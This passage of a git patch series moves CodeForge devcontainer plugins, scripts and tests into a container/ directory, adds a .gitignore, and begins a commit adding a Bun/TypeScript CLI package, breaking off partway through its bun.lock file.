container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/svelte-testing.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/manual-worktree-commands.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/manual-worktree-commands.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/manual-worktree-commands.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/manual-worktree-commands.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/parallel-workflow-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/parallel-workflow-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/parallel-workflow-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/parallel-workflow-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/references/review-checklist.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/references/review-checklist.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/references/review-checklist.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/references/review-checklist.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-check/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-check/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-check/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-check/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/backlog-template.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/backlog-template.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/backlog-template.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/backlog-template.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/milestones-template.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/milestones-template.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/milestones-template.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/milestones-template.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/roadmap-template.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/roadmap-template.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/roadmap-template.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/roadmap-template.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/references/template.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/references/template.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/references/template.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/references/template.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-refine/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-refine/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-refine/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-refine/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-review/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-review/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-review/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-review/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-update/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-update/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-update/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-update/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/criteria-patterns.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/criteria-patterns.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/criteria-patterns.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/criteria-patterns.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/ears-templates.md b/container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/ears-templates.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/ears-templates.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/ears-templates.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/scripts/ticket-linker.py b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/scripts/ticket-linker.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/scripts/ticket-linker.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/scripts/ticket-linker.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketcreate-pr/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketcreate-pr/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketcreate-pr/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketcreate-pr/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketnew/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketnew/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketnew/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketnew/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketreview-commit/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketreview-commit/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketreview-commit/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketreview-commit/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketwork/SKILL.md b/container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketwork/SKILL.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketwork/SKILL.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketwork/SKILL.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/.claude-plugin/plugin.json b/container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/.claude-plugin/plugin.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/.claude-plugin/plugin.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/.claude-plugin/plugin.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md b/container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md rename to container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/hooks/hooks.json b/container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/hooks/hooks.json similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/hooks/hooks.json rename to container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/hooks/hooks.json diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py b/container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py b/container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py similarity index 100% rename from .devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py rename to container/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py diff --git a/.devcontainer/scripts/check-setup.sh b/container/.devcontainer/scripts/check-setup.sh similarity index 100% rename from .devcontainer/scripts/check-setup.sh rename to container/.devcontainer/scripts/check-setup.sh diff --git a/.devcontainer/scripts/preflight.sh b/container/.devcontainer/scripts/preflight.sh similarity index 100% rename from .devcontainer/scripts/preflight.sh rename to container/.devcontainer/scripts/preflight.sh diff --git a/.devcontainer/scripts/setup-aliases.sh b/container/.devcontainer/scripts/setup-aliases.sh similarity index 100% rename from .devcontainer/scripts/setup-aliases.sh rename to container/.devcontainer/scripts/setup-aliases.sh diff --git a/.devcontainer/scripts/setup-auth.sh b/container/.devcontainer/scripts/setup-auth.sh similarity index 100% rename from .devcontainer/scripts/setup-auth.sh rename to container/.devcontainer/scripts/setup-auth.sh diff --git a/.devcontainer/scripts/setup-config.sh b/container/.devcontainer/scripts/setup-config.sh similarity index 100% rename from .devcontainer/scripts/setup-config.sh rename to container/.devcontainer/scripts/setup-config.sh diff --git a/.devcontainer/scripts/setup-migrate-claude.sh b/container/.devcontainer/scripts/setup-migrate-claude.sh similarity index 100% rename from .devcontainer/scripts/setup-migrate-claude.sh rename to container/.devcontainer/scripts/setup-migrate-claude.sh diff --git a/.devcontainer/scripts/setup-migrate-codeforge.sh b/container/.devcontainer/scripts/setup-migrate-codeforge.sh similarity index 100% rename from .devcontainer/scripts/setup-migrate-codeforge.sh rename to container/.devcontainer/scripts/setup-migrate-codeforge.sh diff --git a/.devcontainer/scripts/setup-plugins.sh b/container/.devcontainer/scripts/setup-plugins.sh similarity index 100% rename from .devcontainer/scripts/setup-plugins.sh rename to container/.devcontainer/scripts/setup-plugins.sh diff --git a/.devcontainer/scripts/setup-projects.sh b/container/.devcontainer/scripts/setup-projects.sh similarity index 100% rename from .devcontainer/scripts/setup-projects.sh rename to container/.devcontainer/scripts/setup-projects.sh diff --git a/.devcontainer/scripts/setup-terminal.sh b/container/.devcontainer/scripts/setup-terminal.sh similarity index 100% rename from .devcontainer/scripts/setup-terminal.sh rename to container/.devcontainer/scripts/setup-terminal.sh diff --git a/.devcontainer/scripts/setup-update-claude.sh b/container/.devcontainer/scripts/setup-update-claude.sh similarity index 100% rename from .devcontainer/scripts/setup-update-claude.sh rename to container/.devcontainer/scripts/setup-update-claude.sh diff --git a/.devcontainer/scripts/setup.sh b/container/.devcontainer/scripts/setup.sh similarity index 100% rename from .devcontainer/scripts/setup.sh rename to container/.devcontainer/scripts/setup.sh diff --git a/container/.gitignore b/container/.gitignore new file mode 100644 index 0000000..14980e1 --- /dev/null +++ b/container/.gitignore @@ -0,0 +1,84 @@ +# CodeForge Git Ignore + +# Environment files with API keys +.env +.env.local +.env.development.local +.env.test.local +.env.production.local + +# DevContainer build cache +.devcontainer/.dockercache/ + +# IDE files +.vscode/settings.json +*.swp +*.swo +*~ + +# Temporary files +*.tmp +*.temp +.DS_Store +Thumbs.db + +# Logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Coverage directory used by tools like istanbul +coverage/ +*.lcov + +# nyc test coverage +.nyc_output + +logs +dev-debug.log +# Python bytecode +__pycache__/ +*.pyc + +# Dependency directories +node_modules/ +# Environment variables +# Editor directories and files +.idea +.vscode +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? +# OS specific + +# Claude Code directory (user-specific) +.claude/ + +# All hidden directories except devcontainer and codeforge +.* +!.devcontainer/ +!.devcontainer/**/.claude-plugin/ +!.codeforge/ +!.git/ +!.github/ +!.gitignore +!.gitattributes +!.npmignore + +# .codeforge per-installation state (not tracked) +.codeforge/.checksums/ +.codeforge/.markers/ + +# Docs +docs/node_modules/ +docs/dist/ +docs/.astro/ diff --git a/.npmignore b/container/.npmignore similarity index 100% rename from .npmignore rename to container/.npmignore diff --git a/CLAUDE.md b/container/CLAUDE.md similarity index 100% rename from CLAUDE.md rename to container/CLAUDE.md diff --git a/README.md b/container/README.md similarity index 100% rename from README.md rename to container/README.md diff --git a/logos/CodeForgeLogo.png b/container/logos/CodeForgeLogo.png similarity index 100% rename from logos/CodeForgeLogo.png rename to container/logos/CodeForgeLogo.png diff --git a/logos/CodeForgeLogoTr.png b/container/logos/CodeForgeLogoTr.png similarity index 100% rename from logos/CodeForgeLogoTr.png rename to container/logos/CodeForgeLogoTr.png diff --git a/logos/github-avatar.png b/container/logos/github-avatar.png similarity index 100% rename from logos/github-avatar.png rename to container/logos/github-avatar.png diff --git a/package.json b/container/package.json similarity index 100% rename from package.json rename to container/package.json diff --git a/setup.js b/container/setup.js similarity index 100% rename from setup.js rename to container/setup.js diff --git a/test.js b/container/test.js similarity index 100% rename from test.js rename to container/test.js diff --git a/tests/__init__.py b/container/tests/__init__.py similarity index 100% rename from tests/__init__.py rename to container/tests/__init__.py diff --git a/tests/conftest.py b/container/tests/conftest.py similarity index 100% rename from tests/conftest.py rename to container/tests/conftest.py diff --git a/tests/plugins/__init__.py b/container/tests/plugins/__init__.py similarity index 100% rename from tests/plugins/__init__.py rename to container/tests/plugins/__init__.py diff --git a/tests/plugins/test_block_dangerous.py b/container/tests/plugins/test_block_dangerous.py similarity index 100% rename from tests/plugins/test_block_dangerous.py rename to container/tests/plugins/test_block_dangerous.py diff --git a/tests/plugins/test_guard_protected.py b/container/tests/plugins/test_guard_protected.py similarity index 100% rename from tests/plugins/test_guard_protected.py rename to container/tests/plugins/test_guard_protected.py diff --git a/tests/plugins/test_guard_protected_bash.py b/container/tests/plugins/test_guard_protected_bash.py similarity index 100% rename from tests/plugins/test_guard_protected_bash.py rename to container/tests/plugins/test_guard_protected_bash.py diff --git a/tests/plugins/test_guard_readonly_bash.py b/container/tests/plugins/test_guard_readonly_bash.py similarity index 100% rename from tests/plugins/test_guard_readonly_bash.py rename to container/tests/plugins/test_guard_readonly_bash.py diff --git a/tests/plugins/test_guard_workspace_scope.py b/container/tests/plugins/test_guard_workspace_scope.py similarity index 100% rename from tests/plugins/test_guard_workspace_scope.py rename to container/tests/plugins/test_guard_workspace_scope.py diff --git a/tests/plugins/test_redirect_builtin_agents.py b/container/tests/plugins/test_redirect_builtin_agents.py similarity index 100% rename from tests/plugins/test_redirect_builtin_agents.py rename to container/tests/plugins/test_redirect_builtin_agents.py From f2430e9ddd670447ef18367eb292114d77483f42 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Wed, 4 Mar 2026 21:07:37 +0000 Subject: [PATCH 05/33] Add cli package to monorepo MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add codeforge-cli v0.1.0 (Bun/TypeScript) — a CLI for CodeForge development workflows including session search, plan management, and task tracking. The docs package was already tracked from the previous repository structure. --- cli/bun.lock | 70 +++++ cli/package.json | 29 ++ cli/src/commands/plan/search.ts | 107 +++++++ cli/src/commands/session/list.ts | 96 +++++++ cli/src/commands/session/search.ts | 86 ++++++ cli/src/commands/session/show.ts | 132 +++++++++ cli/src/commands/task/search.ts | 66 +++++ cli/src/index.ts | 33 +++ cli/src/loaders/history-loader.ts | 101 +++++++ cli/src/loaders/plan-loader.ts | 37 +++ cli/src/loaders/session-meta.ts | 127 +++++++++ cli/src/loaders/task-loader.ts | 39 +++ cli/src/output/json.ts | 17 ++ cli/src/output/plan-text.ts | 55 ++++ cli/src/output/session-list.ts | 78 +++++ cli/src/output/session-show.ts | 160 +++++++++++ cli/src/output/stats.ts | 50 ++++ cli/src/output/task-text.ts | 61 ++++ cli/src/output/text.ts | 72 +++++ cli/src/schemas/history.ts | 7 + cli/src/schemas/plan.ts | 6 + cli/src/schemas/session-message.ts | 168 +++++++++++ cli/src/schemas/task.ts | 9 + cli/src/search/engine.ts | 194 +++++++++++++ cli/src/search/filter.ts | 63 +++++ cli/src/search/query-parser.ts | 267 ++++++++++++++++++ cli/src/utils/glob.ts | 61 ++++ cli/src/utils/time.ts | 41 +++ cli/tests/engine.test.ts | 151 ++++++++++ cli/tests/filter.test.ts | 199 +++++++++++++ cli/tests/fixtures/plans/test-plan.md | 9 + cli/tests/fixtures/sample.jsonl | 9 + cli/tests/fixtures/session-data/history.jsonl | 4 + .../session-data/session-with-meta.jsonl | 5 + cli/tests/fixtures/tasks/test-team/1.json | 8 + cli/tests/fixtures/tasks/test-team/2.json | 8 + cli/tests/plan-search.test.ts | 219 ++++++++++++++ cli/tests/query-parser.test.ts | 170 +++++++++++ cli/tests/session-list.test.ts | 174 ++++++++++++ cli/tests/session-meta.test.ts | 98 +++++++ cli/tests/session-show.test.ts | 228 +++++++++++++++ cli/tests/task-search.test.ts | 220 +++++++++++++++ cli/tests/test_bun_tests_pass.py | 21 ++ cli/tests/time.test.ts | 92 ++++++ cli/tsconfig.json | 17 ++ 45 files changed, 3864 insertions(+) create mode 100644 cli/bun.lock create mode 100644 cli/package.json create mode 100644 cli/src/commands/plan/search.ts create mode 100644 cli/src/commands/session/list.ts create mode 100644 cli/src/commands/session/search.ts create mode 100644 cli/src/commands/session/show.ts create mode 100644 cli/src/commands/task/search.ts create mode 100644 cli/src/index.ts create mode 100644 cli/src/loaders/history-loader.ts create mode 100644 cli/src/loaders/plan-loader.ts create mode 100644 cli/src/loaders/session-meta.ts create mode 100644 cli/src/loaders/task-loader.ts create mode 100644 cli/src/output/json.ts create mode 100644 cli/src/output/plan-text.ts create mode 100644 cli/src/output/session-list.ts create mode 100644 cli/src/output/session-show.ts create mode 100644 cli/src/output/stats.ts create mode 100644 cli/src/output/task-text.ts create mode 100644 cli/src/output/text.ts create mode 100644 cli/src/schemas/history.ts create mode 100644 cli/src/schemas/plan.ts create mode 100644 cli/src/schemas/session-message.ts create mode 100644 cli/src/schemas/task.ts create mode 100644 cli/src/search/engine.ts create mode 100644 cli/src/search/filter.ts create mode 100644 cli/src/search/query-parser.ts create mode 100644 cli/src/utils/glob.ts create mode 100644 cli/src/utils/time.ts create mode 100644 cli/tests/engine.test.ts create mode 100644 cli/tests/filter.test.ts create mode 100644 cli/tests/fixtures/plans/test-plan.md create mode 100644 cli/tests/fixtures/sample.jsonl create mode 100644 cli/tests/fixtures/session-data/history.jsonl create mode 100644 cli/tests/fixtures/session-data/session-with-meta.jsonl create mode 100644 cli/tests/fixtures/tasks/test-team/1.json create mode 100644 cli/tests/fixtures/tasks/test-team/2.json create mode 100644 cli/tests/plan-search.test.ts create mode 100644 cli/tests/query-parser.test.ts create mode 100644 cli/tests/session-list.test.ts create mode 100644 cli/tests/session-meta.test.ts create mode 100644 cli/tests/session-show.test.ts create mode 100644 cli/tests/task-search.test.ts create mode 100644 cli/tests/test_bun_tests_pass.py create mode 100644 cli/tests/time.test.ts create mode 100644 cli/tsconfig.json diff --git a/cli/bun.lock b/cli/bun.lock new file mode 100644 index 0000000..8b83519 --- /dev/null +++ b/cli/bun.lock @@ -0,0 +1,70 @@ +{ + "lockfileVersion": 1, + "configVersion": 1, + "workspaces": { + "": { + "name": "codeforge-cli", + "dependencies": { + "chalk": "^5.4.0", + "commander": "^13.0.0", + "fast-glob": "^3.3.0", + }, + "devDependencies": { + "@types/bun": "^1.3.10", + "@types/node": "^22.0.0", + "typescript": "^5.7.0", + }, + }, + }, + "packages": { + "@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="], + + "@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="], + + "@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="], + + "@types/bun": ["@types/bun@1.3.10", "", { "dependencies": { "bun-types": "1.3.10" } }, "sha512-0+rlrUrOrTSskibryHbvQkDOWRJwJZqZlxrUs1u4oOoTln8+WIXBPmAuCF35SWB2z4Zl3E84Nl/D0P7803nigQ=="], + + "@types/node": ["@types/node@22.19.13", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-akNQMv0wW5uyRpD2v2IEyRSZiR+BeGuoB6L310EgGObO44HSMNT8z1xzio28V8qOrgYaopIDNA18YgdXd+qTiw=="], + + "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="], + + "bun-types": ["bun-types@1.3.10", "", { "dependencies": { "@types/node": "*" } }, "sha512-tcpfCCl6XWo6nCVnpcVrxQ+9AYN1iqMIzgrSKYMB/fjLtV2eyAVEg7AxQJuCq/26R6HpKWykQXuSOq/21RYcbg=="], + + "chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="], + + "commander": ["commander@13.1.0", "", {}, "sha512-/rFeCpNJQbhSZjGVwO9RFV3xPqbnERS8MmIQzCtD/zl6gpJuV/bMLuN92oG3F7d8oDEHHRrujSXNUr8fpjntKw=="], + + "fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="], + + "fastq": ["fastq@1.20.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="], + + "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="], + + "glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], + + "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="], + + "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="], + + "is-number": ["is-number@7.0.0", "", {}, 